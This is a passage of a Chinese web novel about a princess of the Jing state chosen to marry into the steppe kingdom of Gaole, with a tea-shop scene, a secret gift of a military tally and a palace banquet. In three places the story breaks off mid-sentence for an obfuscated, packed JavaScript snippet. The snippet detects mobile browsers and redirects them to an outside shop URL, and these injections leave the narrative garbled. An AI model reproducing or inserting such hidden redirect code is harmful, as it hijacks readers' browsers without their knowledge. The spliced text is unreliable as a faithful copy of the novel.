这加高的马鞍前后皆有鞍桥,能极好地固定骑手的身体,更为省力,也更为安全,比高勒的马鞍好了不少。 两侧的马镫显然也不只是协助上马的工具,而是能起到固定支撑的作用,甚至不用时刻掌控缰绳,也能控制方向。 乌恩其的眼中闪过一丝暗光,难怪这景国的骑兵进步如此神速,竟能在与高勒联手的情况下大败北狄,还收回了好几座城池,原来是有如此宝贝。 “台吉,这马鞍和马镫倒是有几分巧思,我们何不效仿?只是高勒缺少木料和匠人……”阿日宾靠近乌恩其,低声说道。 “哼,”乌恩其悠哉往后一靠,嗤道:“不急,耐心等着景国开口就是。” “也是,”阿日宾也回过味儿来了,“当初与景国联手攻北狄之时,虽说是两方夹击,但咱们也和景国的军队打过几次照面,这特殊的马鞍和马镫竟从未露过面。想来咱们这次骑马,能见到这些马具,也是景国有意为之。” 乌恩其幽幽笑道:“茶叶,牧草,马鞍……呵,看来这次和亲,景国准备的筹码不少,这永康公主在皇室心中的份量倒是不轻啊。” 阿日宾也若有所思,看来这景国比前朝的襄国厉害了不止一点半点儿,也不知这些东西是何方神圣所授。 乌恩其和阿日宾两人心中有了些计较,巴图却是个心大的,一心只念着茶叶,一上马只试了试缰绳就往外院走了。 乌恩其和阿日宾见状,也只得夹紧马腹跟上。 “这景国的马倒是比咱们的好骑一些,虽然马儿矮小些,但它们的马鞍高,倒也合适。”巴图一边骑,一边赞叹道。 乌恩其略点了点头,踩着脚下的马镫,不知在思索些什么。 穿过影壁,蛮夷邸的大门便近在眼前了,早有译长和侍从收拾了东西等候于此。 “就带我们去最大的一家茶叶铺子看看吧。”乌恩其看了一眼天色,道。 译长作了一个揖,翻身上驴,景国的马匹珍贵,六品以下的官员均不得骑马,他也只得骑驴在前面带路。 几人骑着马在长街上走着,几经转弯,穿过宁静的闾里,周围便喧闹了起来,这便是进入市肆地带了。 北市是专卖饮食的地方,饭馆酒楼,酒肆茶铺,粮店油坊……各种店铺鳞次栉比地排列。 街上还有不少农户摆摊出售菜蔬,也有小贩在出售便携的蒸饼炉饼,叫卖声不绝于耳,热闹极了。 听见马蹄声传来,推着小车售卖蒸饼的小贩赶紧靠边,用纱布盖好蒸笼,使其免受尘土侵扰,逛街的百姓们也都远远靠边避开,还有不少人窃窃私语,暗自打量着马背上的外族人。 “哒…哒…哒”马蹄声响了许久,译长才停下。 “这便是北市的雅茗居,是京城最大,种类也最齐的茶叶铺子。” 乌恩其几人下马,映入眼帘的是一幢木楼,足足有四层,比周围的酒楼还高,绿瓦白墙,雕梁画栋,被装点得十分雅致。 侍从在外头照管马,译长则带着几位使官进入了雅铭居。 还未进门,便能闻见一股浓郁的茶香,听见其中的喧闹,显然这间茶铺的生意极好。 “这一楼的都是物美价廉的散茶,二楼的是名品好茶,三楼的则是价比白银的稀品茶,不知四台吉您想先逛哪一层?”译长一进雅茗居,便熟稔地介绍起来,一瞧便知是这里的常客。 乌恩其几人顺着译长的介绍一层层往上看,随着茶叶的价格越来越高,每层楼的客人显然跟着变少,三楼的客人更是寥寥无几。 “那四楼呢?四楼卖什么茶?”巴图抬头瞅着最高的那层楼,四楼瞧着很冷清,和楼下的热闹格格不入。 “四楼?”译长摇了摇头,“四楼不卖茶叶,寻常时候都不开门,想来是主人家自用的屋子。” “行了,咱们就逛逛一楼成了。”乌恩其率先抬步往前走,高勒不富裕,他们又都是粗人,喝点儿散茶也就够了。 走过一面檀木织锦屏风,几人不由瞪大了眼睛。 不愧是京城最大的茶叶铺子,这一瓮瓮茶叶罗列起来,摆满了好几面墙。 “这靠外的地方卖的都是花茶和果茶,里面是药茶,最里面的才是纯茶呢。根据茶叶的制作方法,又分了绿茶、红茶、白茶等等。若是四台吉有意置办一些带回高勒,那边还有茶饼和砖茶,更加便于携带。” 琳琅满目的茶叶叫几人看花了眼,乌恩其率先开口:“这其中最便宜的茶是哪一样?价值几何?” 译长眼皮一颤,嗫嚅道:“要说最便宜的,自然是那些碎茶,都是用来做饶头白送的,有些力工也会买来泡水喝,几个铜板就能得一两。” “带我去瞧瞧。”乌恩其开口。 译长赶紧让店里的掌柜带路。 高勒使臣的衣着特殊,掌柜自然一眼就看出来了,他匆匆作了个揖,便亲自去取了碎茶来。 碎茶和别的茶不一样,没有装在精致的瓷瓮里,而是拿麻布袋子装了,塞在仓库的陶缸里头,掌柜颇费了些劲才取出来。 “这些茶虽说是运输后的碎茶,但味道和完整的茶也没有区别,只是渣子多了些,香气淡了些。若是各位使臣想要,小的尽可免费献上。” 阿日宾捧了一把碎茶闻闻,味道确实不错,只是一撒手,指缝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341367|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间已经藏了不少细细的碎屑。 乌恩其却没有嫌弃,只要能治病,什么茶喝不得?不过是茶渣滤不出来剌嗓子罢了,高勒人的嗓子都习惯了,这茶叶渣子总不会比草籽更粗粝。 “这些碎茶我们都要了,就按原价算。再带我们看看其他的茶。” 掌柜的早有准备,领着几人去了一楼角落里的雅间。 雅间虽大开着窗,却很清静,是个饮茶的好地方。 “本店的茶叶都可试饮,各位使臣以前都没尝过,不如今天就把这些茶都尝上一遍。”掌柜一边说,几个伙计也陆续进入了雅间。 众人手里都端着托盘,托盘上是满满的小茶壶,想来每一壶里头都泡着不同的茶,林林总总竟然有五十多个小壶。 掌柜又亲自为几位使臣斟了茶,小巧的茶杯,只一口之量,精巧无比。 “这是小店卖得最好的一款绿茶,只取芽心,入口甘香,回味悠长。” “这一壶是本店最价廉物美的一款茶,虽取材粗劣,制茶工艺却依旧考究,叶芽舒展,形似鹰爪,入口虽苦,香气却更加醇厚……” 掌柜侍立在旁,一边为几人介绍茶水的种类,一边为几人斟茶。 巴图是个嘴粗的,茶水入喉而过,顷刻间便到了胃里,如饮牛饮马一般,只图爽快,不曾细品。 乌恩其和阿日宾却是识货的,每一盏茶都细细尝过,并在心中排着高低优良。 绿茶、红茶、白茶、黑茶……花茶、果茶、药茶…… 雅茗居的茶品类繁多,又要细品,自然费时不少。 每一杯尝过,乌恩其还会细问此茶的价格贵贱,一轮下来,心中的目标已然清晰。 在他看来,茶叶最重要的并不是口味,而是看它是否适合带回高勒。 品尝了一轮,乌恩其选出了最适合带回高勒的茶,如译长先前所想,最合适的自然是茶砖,既携带方便,价格也比较低廉。 “这几种茶砖你们铺子里还有多少?”有了目标,乌恩其便开口了。 掌柜的像是早就有了准备一般,呈上了一个木匣,里头装着几块不同口味的茶砖。 “茶砖是今年的新品,每月购买的人不多,小店也只剩下这几块罢了。若是使臣想买,我可派人去茶庄取,来回不过十日,数百斤肯定是有的。” “那便去取,这是定金。”乌恩其掏出一大块银锭,足有十两,价值万钱,能买得上一匹好马了。 掌柜的接过定金,笑盈盈地将木匣递给了巴图。 “那就多谢各位使臣,茶砖一定准时送来。待官府给了批文,小人自会将茶砖亲自送往蛮夷邸。” 这桩生意便算是谈成了大半,乌恩其几人也没了留下的理由。 “今日天色也晚了,走吧,先回去。” 译长依言起身为几人引路,一行人均走出了雅间,七拐八拐往雅茗居的大门走去。 这时,走在最前面的乌恩其像是感受到了什么,蓦然旋首,抬眼往雅茗居的四楼望去。 5. 第五章 乌恩其的动作迅疾如风,其余的人后知后觉地跟着望去,却只看见了一扇紧闭的窗。 “台吉……”巴图皱眉,给乌恩其递了个眼神,身体紧绷着,像是下一刻就要飞身上去探查。 “可能是我看错了……”乌恩其摇摇头,他总觉得方才有人盯着他,但是四楼的窗户都紧紧闭着,不像是有人的样子。 “殿下,今晚宫中为各位使臣设了接风宴,如今天色已晚,咱们也该回蛮夷邸沐浴更衣了。”译长在一旁躬身说道。 “走吧,先回去。”乌恩其翻身上了马,将方才的一抹不适和怀疑压了下去。 品茶确实耽搁了不少时间,阿日宾也不提看药铺的事情了,紧跟着乌恩其的动作翻身上了马。 待一行人离开了雅茗居,神秘的四楼才推开了一扇窗。 “这高勒人好生机警,”白芨抚了抚胸口,“还好我反应快,不然真被他发现了。” “公主,看来这茶叶确实是对上了高勒人的胃口,茶庄囤积的茶砖,此次可尽数清空了。”白蔹一边说,一边拿随身携带的小银算盘打了起来,这笔生意谈成,又能有一大笔进账了。 “高勒人茹毛饮血惯了,自然不是重视口腹之欲的人。五谷为养,五菜为充,到了冬季草木凋零之时,高勒没有菜蔬,常生衄病,这茶叶正是最好的药材。”白术勾唇笑道。 “啧,还得靠殿下高瞻远瞩,早早就囤了一批茶砖,这是早就算好了高勒所求之物啊。”白薇赞道。 “只是这高勒四台吉实在机敏,我们就远远瞧了一眼,勉强看了个高矮胖瘦,也不知晓他到底俊俏不俊俏。”白蔹遗憾地叹了一口气。 景帝的计划自然早早就告知了穆云,她们几个也都知道,这高勒四台吉约摸就是此次联姻的最佳人选了。 只是这次是可汗求娶,穆云是去做可敦的,依照景帝的计划,老可汗的寿元会在和亲队伍到达之前散尽,有了景国的暗中扶持,这位四台吉踏上王位的路应当变数不大。 “走吧,也该回去了。”穆云将饮完的茶盏搁下,起身往外走。 茶铺的掌柜送走了使臣一行人,正要回来复命。 穆云一抬手,掌柜便呈上了乌恩其的定金。 穆云掂了掂,细看了银锭底部,直接把银锭交给了白蔹。 “这银锭是咱们景国所铸,”白蔹看了看银锭的缺口,又说:“被剪了几次,看来是四台吉随身的银子。” “嗯,去岁与高勒联手,国库出了不少银子,想来这便是其中之一了。”穆云一边说一边往外走去,早有一辆素净低调的马车候在外头了。 钻进马车里,一路到了公主府的后侧门,穆云才换乘了自己的车架。 御者驾两马,带着一辆赤罽軿车径直往宫内赶,穆云端坐在马车内,细思着今晚的夜宴。 这场宴会自然是迎接高勒使臣的接风宴,但穆云知道,高勒使臣还会在此次宴会中呈交国书,宣告此次和亲一事。 今夜过后,她便是板上钉钉的高勒下一任可敦了。 高勒……穆云闭目,她实在听过了太多高勒的传言。 不毛之地,风沙漫天,茹毛饮血,居无定所,不通教化,蛮横无理…… 穆云没见过这个世界的高勒是何等模样,只能在一次次的幻想中加深对此地的恐惧。 锦衣玉食当了这么多年的公主,如今要去那等不毛之地,穆云自然是无助又彷徨,但是她没有退路。 景国经不起更多的战事了,天下初定不过十年,北狄又数次侵犯,景国境内的壮年男丁早已经死伤不少,国库也日渐空虚,若是再与高勒交恶,是日高勒若与北狄联手,下一场,便是灭国之战了。 她身为皇室唯一的公主,食邑千户,位比诸侯,自然该肩负起这番责任。 还好当初为安乐公主和亲所置办的嫁妆、匠户、侍医等已经准备妥当,如今增添起来也方便一些。 既然确定了要去高勒,自然要有万全的准备,不然埋骨异乡,岂不是正合了宫里那位的意? 穆云抵着额头思索着,还未想明白,马车便停了下来,宫门到了。 她又换乘了辇车,来到了恒昌殿。 夜宴还未开始,阿翁想先找她议事。 穆云刚被迎进了恒昌殿,各位内官便都退了出去,殿内一下子变得空旷了起来。 穆云走了几步,这才发现穆琮居然也在。 今年才十岁的太子殿下只有穆云的肩膀高,乖乖行了个稽首礼,“女兄长乐未央。” 穆云亲自把他从地上扶起,道:“琮儿怎么也在?” 待穆琮站好,穆云也给景帝行了个揖礼,景帝拍了拍穆琮的肩,道:“他知道高勒的使臣要来,提前等着呢。” 看着穆琮清澈的眼神,穆云便知道,他还不知道此次和亲的事情。 “安乐女兄怎么没来?她该来看看高勒的使臣才是。” 果然,穆琮已经问起安乐公主的事情了,他尚以为安乐才是此次的和亲公主。 “安乐还未行册封礼,还算不得正经公主呢。而且……”穆云敛下眼眸,道:“此次高勒明文求娶的,是我。” 穆云这番话如惊雷一般在穆琮耳边炸开,他呆愣了一会儿,眼中很快便簌簌落下泪来,“我不要阿姊和亲!我不要阿姊走!阿翁,不要让阿姊和亲!” 当初先皇后难产而亡,又正值景国初建,百废待兴之时,穆毅忙于朝政,穆琮可以说是穆云这位长姊一手带大的,情谊自然深厚非常。 如今听闻长姊要去和亲,穆琮惊闻如此噩耗,饶是比寻常同龄人稳重许多的他也控制不住情绪了。 景帝听着穆琮的号哭,本来被压在心底的情绪又被勾了起来。 “穆琮,”穆云蹲下来,为穆琮拭泪,“这是我身为皇室公主的命。如今我景国国衰力微,甲兵不足又有强敌环伺,若不和亲,勉强交战,死伤无数的只会是我景国百姓。” 穆琮如今又如何听得进去这些大道理?他只知道,自己的阿姊要去那千里之外的不毛之地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341368|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嫁给一个蛮夷外族了。 穆琮的眼泪源源不断,抽噎不止,竟差点儿背过气去。 “穆琮,还记得阿姊怎么教你的吗?君子要审时度势,应运而为,如今大势如此,就凭我们几人如何改变?只愿阿琮勤学奋起,日后帮着阿翁好好治理景国,待日后国力强盛,阿姊未必没有归国的机会。阿琮,阿姊不希望我景国再有下一位和亲公主了,你能做到吗?” 景帝在身后听着,仰头不让泪珠落下,他知道,穆云这番话不止是说给穆琮听。景国衰微,亦有他之过,他实在算不上是一位治世明君,勤政爱民有余,雄才大略却不足。 穆琮听了穆云的这一番话,也渐渐止住了哭声,眼中闪着坚毅的目光,“阿姊,我能做到,我会做到的。” “好了,高勒也没那么可怕,至少不比北狄恶名在外,况且去年还和我景国有过合盟,想来这高勒王室也还算讲礼。” 穆云絮絮叨叨地安慰着穆琮,景帝却从御案的暗格中掏出了一个匣子。 “云儿,高勒苦寒贫瘠,阿翁给你准备了些东西傍身。” 穆云接过匣子,最上面一层是一大摞银票,粗略一估,也有数万两。 “阿翁,如今国库空虚,这银子还是……” 穆云正要推拒,景帝却开口了:“这些银子均出自皇银内帑,与国库何干?云儿,当初你阿母临死前将云家的家业传于你,这么些年,云家的产业也在你手上发扬光大,甚至将每年营利的两成上交给了国库,这些银票是你应得的。” 穆云的母族云家出身商贾,到了她母亲这一代,子嗣凋零,不过一子一女,长子又志在从军,家业便由云玥继承。 云玥从小便由家中精心培养,接管云氏商行之后也是游刃有余,短短三年,就将商行的生意版图扩大了一倍有余。 想当初她嫁给穆家次子穆毅时,十里红妆,艳羡天下。 只是景国初立之时,前朝贼子作乱,引得云玥难产,勉强生下穆琮之后,她便血崩而亡…… 云玥身亡,云家的家业又传到了穆云手上,彼时她还年幼,便由景帝托人打理,等她十岁之后,云家的家业才正式交到了穆云手上。 云家在前朝时便富甲一方,景帝登基之后,云氏商行更上一层楼,待穆云接手之后,更是开辟了新的商道,推出了茶叶、香皂、蒸酒等等新鲜商品,并改进了农庄生产模式,改良了许多生产工具,从此,云氏商行更是富可敌国。 只是穆云惦记着景国初立,百废待兴,国库实在空虚,每年都会将云氏商行的两成利润归入国库,如此想来,这万两银票也算不得什么了。 穆云思索再三,还是将那一摞银票收下了,取出银票后,匣子里却还有其他东西。 穆云皱眉,凑近去看清了匣子里的东西,穆云顿时瞳孔紧缩。 “阿翁,这……这东西我不能收!” 景帝却直接将那物取出,塞进了穆云的手里。 “以防万一,这东西交给云儿,阿翁放心。” 6. 第六章 穆云踌躇极了,这东西的分量实在太重,她实在接不住啊。 冷硬的物件被景帝塞进了穆云的手心,硌得她的手都有些发麻。 “这虎符能号令边军,且你和李小将军也是自幼的情分,李家会效忠于你的。” 穆毅一边说,一边将穆云的手用力握紧,稳住她有些颤抖的右手。 “此物事关边境安危,怎能贸然交于女儿?”穆云觉得手里的东西实在太重,景国自建国以来,便对兵甲管得极严,府兵部曲之制被废不说,私藏甲胄更是抄家灭族的大罪,便是只私藏几副皮甲,也足够查抄九族了。 如今阿翁竟将虎符交给她…… “无妨,此虎符有两对,一只给你,还有一只在我手上。云儿,世族野心勃勃,若是日后京畿有变,你有此虎符,又有你舅父助你,兵权在手,也能早日平定关内,总不至于天下大乱,民不聊生……” 这番话实在有些悲观,如今兵权几乎完全掌握在景帝手上,不说世族有没有胆量造反,就说如今铁矿官营,即便是有人想造反,造反用的兵器甲胄尚且没有来路。 除非……有人私采铁矿。 不过景帝是谨慎惯了的,穆云思索了许久,终究还是没有推脱,有了兵权,若是两国关系有变,她在高勒的路也会好走些。 “好,阿翁,这虎符我便收下,待日后景国兵强马壮,儿愿为踏平北狄效一份力。” 看着穆云坚毅的眼神,景帝也十分动容,她为他生下了个多么优秀的女儿啊…… 若是她知道,自己竟狠心至此,将云儿送去和亲,不知她还肯不肯再入他梦来,九泉之下,她还愿不愿意等他…… 景帝还想再说些什么,但此时外头却传来了钟声,堵住了他喉口的话。 “咚……咚……”这是迎接使臣入宫的钟声,使臣入宫,宴会也快开始了。 景帝长叹了一口气,道:“夜宴快开始了,云儿,琮儿,走吧,去瞧瞧高勒的使臣们。” 穆琮的眼睛还有些红,但他自幼得穆云教导,心理自然是强大的,此时也已经调整好了心态,乖乖地跟在了穆云后面,几人乘着辇轿往未央宫去。 …… 未央宫是举办宴会常用的宫殿,离恒昌殿不远,乘坐辇轿只需花费一刻钟。 正是落日熔金之时,天色未暗,但未央宫内已经燃起了烛火,星星点点的灯盏将未央宫映成了橙色,殿内明亮如同正午一般。 乐工们正在演奏着悠扬婉转的乐曲,编钟、筚篥、萧笛、箜篌……各式各样的乐器汇成一曲,清耳悦心,荡气回肠,实为黄钟大吕之音,不失大国之风范。 不过未央宫内却无人耐心品鉴这悠扬的乐曲,无论是景国文官武将,还是高勒的几位使臣,都端正跪坐于案桌之后,用余光打量着眼前的外族之人。 随着内官的一声“圣人到——”,未央宫内丝竹声骤然一停,顷刻间,未央宫内便哗啦啦站起了两排臣子起身行揖礼。 现下还端正坐着的,便只有北坐的乌恩其一人了。 皇后宁泽兰也起身行了礼,景帝径直走过去,挥手道:“众卿平身。” 待景帝入座后,众位大臣才跪坐下来,宫内的丝竹声又响了起来,恢复了方才的轻松氛围。 景帝和继后一起东向而坐,穆云和穆琮同案北向而坐,恰好,对面便是高勒使臣的位置。 景帝只说了几句场面话,表达了对高勒使臣的欢迎之后,便宣布了开宴。 一时间,乐人们弹奏的丝竹声越发轻快了些,两列舞女也陆续入场跳舞助兴。 轻歌曼舞间,内官们上了铜匜、香皂和干净的布巾伺候各位官员净手,这是宴会前必不可少的一步。 高勒的使官们哪有这么讲究过,那米黄色的香皂散发着茉莉清香,触手滑腻,如同上好的脂膏,像是下一刻就要化开一般,只需轻轻一搓,便有了满手的泡沫,水流盥洗之后,手上还留着一丝若有若无的馨香。 这么精致的小玩意儿,让高勒的几人都大开了眼界,自己的粗手,怕是第一回洗这么干净,一眼看去竟变得白净软嫩了许多。 净手之后,早就准备好的点心便被送上了案桌。 此时案桌上的几道点心俱是穆云精挑细选出来的,抹茶水晶糕,蜜豆双皮奶和椒盐酥,配的饮品是茉莉牛乳茶。 都是些精细的点心,用青瓷碗盘装了,又用饰了螺钿的漆盘盛在一起,更显精巧富贵。 眼下宴会的主菜还没上,高勒的使臣便已经迫不及待地向着几样点心下手了。 抹茶水晶糕分了两层,一层是碧绿的抹茶牛乳,一层是剔透的茉莉花茶冻,精致极了,一入口,苦涩的茶香混合着牛乳的香甜在舌尖化开,随后,茉莉的香气便出来了,齿颊留香,让人回味无穷。 双皮奶更是个新鲜点心,明明高勒才是吃惯了乳食的地方,偏偏这景国还能玩出许多新花样。 原以为这凝固的东西是酸酸的酪浆,却不想一入口,却是香浓甜蜜的奶冻在舌尖融开,而后蜜豆也在嘴里化开绵密的沙,更添了几分奇特的口感。 巴图如风卷残云般将属于自己的那一份点心吃完,只觉得意犹未尽,眼巴巴地直瞧着阿日宾面前的。 阿日宾只当是没看见,只继续用小银勺慢慢品着那一小份双皮奶,时不时和乌恩其交流几句。 “怪不得说这中原王朝食不厌精,脍不厌细,连这几道点心都如此精巧。那绿色的糕点还有一股茶香,想来是用茶叶做的,也不知道费了多少工夫。” 乌恩其略点了点头,不过看他吃点心的速度就知道,他对这几道点心也满意极了。 高勒的饮食是万万没有这么精细的,如今他也算是开了眼界。 高勒使臣忙着享受点心的时候,穆云也在悄悄关注着他们。 几人的打扮虽然相似,但有了方才在雅茗居的仓促一眼,穆云还是一瞬间就认出了高勒四台吉是哪位,毕竟那乌恩其的脸确实称得上一句英俊。 和高勒人对点心的热忱不同,穆云只用了一道双皮奶,此时正借着用银勺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341369|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舀蜜豆的间隙用余光观察着乌恩其的动作。 乌恩其此时正将最后一口椒盐酥饼送进嘴里,还将另一只手接了许久的酥饼碎也一并填进了口中,大嚼了几口,又灌了一杯牛乳茶下去,将椒盐酥送服入腹,而后才慢慢品起了牛乳茶来。 穆云渐渐皱起了眉头,这高勒四台吉倒是个爱惜粮食的,只是动作实在粗鲁了些。 穆琮看着这些落拓不羁的使臣们,更是没了胃口,只觉得这高勒蛮夷实在是配不上自己才貌双全,仪态万方的阿姊。 …… 很快,乐人们的演奏声变得柔和了起来,一道道美酒佳肴被送上了各个案桌。 各色佳肴均用精致的餐具盛着,或是青瓷,或是漆盘,或是铜豆,一应器物饮食,莫不精细,尽显景国风范。 除了这些,庖厨还上了两只炰羔,连着两架半人高的铁炉一并抬上了宴会,撒了最后一味香料,这才拿刀一一分解,盛入瓷盘,呈上案桌。 乌恩其几人也看到了眼前这两架大大的烤炉,一瞧就知是铁器,器型庞大,似为一体铸成,其上还有精巧的纹饰,在烛光下泛着金色的光,似乎是错了铜。 看着眼前的铁器,乌恩其的眼中闪过一丝忌惮,看来这景国的冶铁铸铁工艺又精进了不少…… 虽说冶铁技术先从西域进入草原,而后才传入中原,但这几年来,景国这个后来者反而将这门技术发展地更好些,听说景国大部分地方已经用上了铁制的农具,也不知道这铁制的兵器甲胄又存了多少…… 乌恩其一边思索,一边吃着新出炉的羊肉,景国的羊自然没有高勒的鲜美,但是这丰富的调料却是高勒所不及的,不说羊肉上撒的各种香料,光是清酱、梅醢、醇醯等调味蘸料就摆了好几个小碟子,案桌都差点放不下了。 “高勒惯用乳食,也不知我景国的饮食,可合各位使臣的口味?” 酒过三巡,景帝一边饮酒,一边笑着问,语气中满是自信。 “自然,景国不愧是泱泱大国,这珍馐美酒果真是不凡,如今我们也总算是见识到了。”乌恩其笑着回复。 巴图喝了好些酒,如今已经有些不胜酒力,全然没了拘束,听了译长的翻译,竟直接将手里的酒一饮而尽,道:“合口味合口味,这美酒可比寻常的酒烈多了,爽快!” 景帝听了译长的话,朗笑道:“好好好,既然使臣喜欢,就多带些回去。自女官仪狄始酿酒,如今已过了千年,景国的酿酒技术自然是更上一层楼了,这席上烈酒便是由我儿永康所酿。” 提到此处,景帝不由挺起了胸膛,与有荣焉。 然而下一刻,他便再也笑不出来了。 似乎是因为景帝提到了永康,乌恩其蓦然想起了此番出使景国的目的。 他从随身的鞶囊中取出一张帛书,起身离开案桌,径直来到宴会中庭,行了一个高勒礼,道:“景国陛下,此次高勒来访,是商求两国结姻亲之好,奉父汗之令,此次和亲,父汗求娶的正是永康公主,这是高勒国书,还请陛下御览。” 7. 第七章 内官郑德贤为难地看了一眼景帝的脸色,待景帝抬手之后才接过了乌恩其递交的国书。 早已有了心理准备的景帝勉强控制住了自己的表情,他细细地看了一遍乌恩其呈上的国书,挤出了一丝笑意,道:“去岁景国与高勒联手,大败北狄,而今高勒又愿与我朝结姻亲之好,那自然是苍生之幸,两国之福。待明日朝会,朕自会下旨,封永康为宁定公主,嫁予高勒大汗,成为高勒的新可敦。” 听此,穆云徐徐起身,行了个揖礼,道:“永康谨遵旨意。” 听了穆云的话,乌恩其才明白,原来这位便是此次和亲的公主,难怪能坐于景帝下首,与景国太子同案而食,看来这永康公主倒是真的挺受宠…… 察觉到乌恩其的视线,穆云浅浅颔首,嘴角勾出一抹笑意。 虽是出席国宴,穆云的打扮却十分清丽,在暖色的烛光照耀下,却依旧显出其姿容的不凡,娴静秀美,仙姿佚貌。 乌恩其被穆云发间的一抹珠光闪得心神一晃,目光掩饰般地错开,摸上了自己手边的玉卮,狠狠灌了一口冷酒进去。 冰凉的酒水下肚,乌恩其的目光也变得平静下来,他淡定地起身行礼,道:“多谢陛下愿下嫁公主与高勒和亲,维系两邦情谊。” 端坐在景帝旁边的皇后也笑了,“景国有永康如此勇毅的公主,实乃社稷之福啊。公主是至诚至善之人,日后成了高勒可敦,两国自然会永久结好,边疆再无战乱纷扰,我景国的战士们也可安枕而卧了。” 看着上方雍容华贵,珠光宝气的女子,穆云谦虚一笑,“两国邦交,哪是我一人能左右的?听说皇后娘娘的叔父在前朝时曾官至大行人,想来您在两国交往上也造诣颇深?” 穆云这番话一针见血,戳中了皇后宁泽兰的痛处,身为世家女,她的不少亲族曾在前朝为官,这也正是景帝与她的颇多隔阂之一。 宁泽兰深吸了一口气,没忍住被气得干哕了一声,匆匆遮面,形貌狼狈,很是失了一国之母的风范,但她的面上却渐渐露出一抹笑来。 宁泽兰推开婢女的手,笑着起身告罪,“妾首次有孕,身子不爽利,倒是搅得宴会不宁,还望陛下恕罪……” 景帝听了这话,不由瞳孔一缩,暗中怒视了郑德贤一眼,道:“皇后有喜,自是我景国之幸,郑德贤,还不传侍医来给皇后瞧瞧?” 郑德贤脸皮一僵,避开景帝的眼神,赶紧使唤了手下的内官去请了侍医来。 皇后怎会怀有身孕?还是在这样的当口。 太医令离未央宫尚有些距离,等侍医提着药箱赶到未央宫,已经是几刻后了。 “王明远,你去给皇后瞧瞧。”景帝摆摆手,让侍医上前来。 王侍医俯下身子,察色按脉,又细问了皇后的侍女几个问题,知晓了皇后近日的身体状况,这才躬身道:“陛下大喜,皇后已有三个月身孕,胎相稳固,这频发的恶阻之症乃孕期常见的反应,服下几副药便可缓解。” 景帝听了这个消息,面上却没什么喜色,眼中晦暗不明,倒是宴中的各个臣子,早已一同稽首,高呼陛下大喜,社稷之福。 自立国以来,景帝的后宫妃妾寥寥,先后难产去世后,宫中再无所出,至今也就只有穆云和穆琮两位皇嗣,如今皇后大喜,若是有朝一日诞下皇子,也算是社稷之福。 宁泽兰用余光扫了一眼穆云和她身旁的穆琮,眉目间满是傲然,娇笑道:“陛下,王侍医是女科大家,妇科圣手,不如便由王侍医负责妾的孕期调养?”宁泽兰笑对王侍医示以青眼。 这位侍医也是个轰轰烈烈的名人,本为世家子,年纪轻轻就成了前朝四品大员,可惜自当年妻子难产一尸两命后,他便自甘堕落,辞官投身岐黄,新朝建立后入宫成了侍医,自此便没入贱籍。 宁泽兰想要拉拢他,一是为其血缘背后的世家,二便是为了他的医术。 王侍医投身岐黄后,虽未再婚,也无孩子,但最爱钻研的却是女子科,入宫后整理了不少女科验方和医案,汇编了一册《女科精要》,可以说是当朝名副其实的女科大家。 “王明远不过区区一个侍医罢了,朕早已安排他随和亲队伍去高勒交流岐黄之术,皇后放心,朕会让太医令负责你这一胎。” 一个侍医罢了……宁泽兰从未想过景帝会拒绝,嘴边的笑霎时僵在脸上。 永康,好,又是永康公主。宁泽兰暗自咬牙,随后笑道:“是该如此,高勒苦寒又缺医少药,有王侍医随公主去高勒,陛下也好放心,毕竟当初公主的母亲……” 景帝冷着脸将手中的玉卮磕在案桌上,打断了她之后的锥心之言。 “皇后身体不适,便早些回仪元殿歇息。郑德贤,扶皇后回去!” 宁泽兰被景帝落了面子,却也不气,只轻扶着肚子,施施然起身随郑德贤走了。 皇后中途离场,宴会的气氛不由陷入了凝滞,好在一应要事均有了结果,宴会不尴不尬地继续了下去。 …… 另一边的仪元殿内,烛光摇曳,宁泽兰已换下了盛装,正对镜解髻。 “殿下,您方才又何苦惹圣人生气呢?”竹月一边摘下宁泽兰头上的凤钗,一边闷声道。 “我惹圣人生气?哼,我只恨他把永康这丫头视作掌心瑰宝,偏宠她太盛了!竟连个侍医都不肯让与我。” “殿下何苦为个公主置气?如今殿下腹中已然有了皇子,便是让她一让又何妨呢?更何况,那永康公主不日就会前往高勒和亲,再阻不了殿下的路了。依奴看,此番为个公主暴露了那条暗线实在可惜,原是该用来对付太子的……” 竹月还未说完,宁泽兰便将手中的木梳往桌上一拍,顷刻间便变了脸色。 “吾早已忍不了了,竹月,你瞧我这个皇后当着还有什么意思?便是那最重要的亲蚕礼,自永康及笄后,我便再未出席过。怕是要不了多久,世人就只知公主,不知皇后了!阿翁也传过消息,自从永康治了蝗,民间的名声更甚,甚至有些愚昧黔首还为她立了生祠!她的名头不能再盛了……” 竹月也明白宁泽 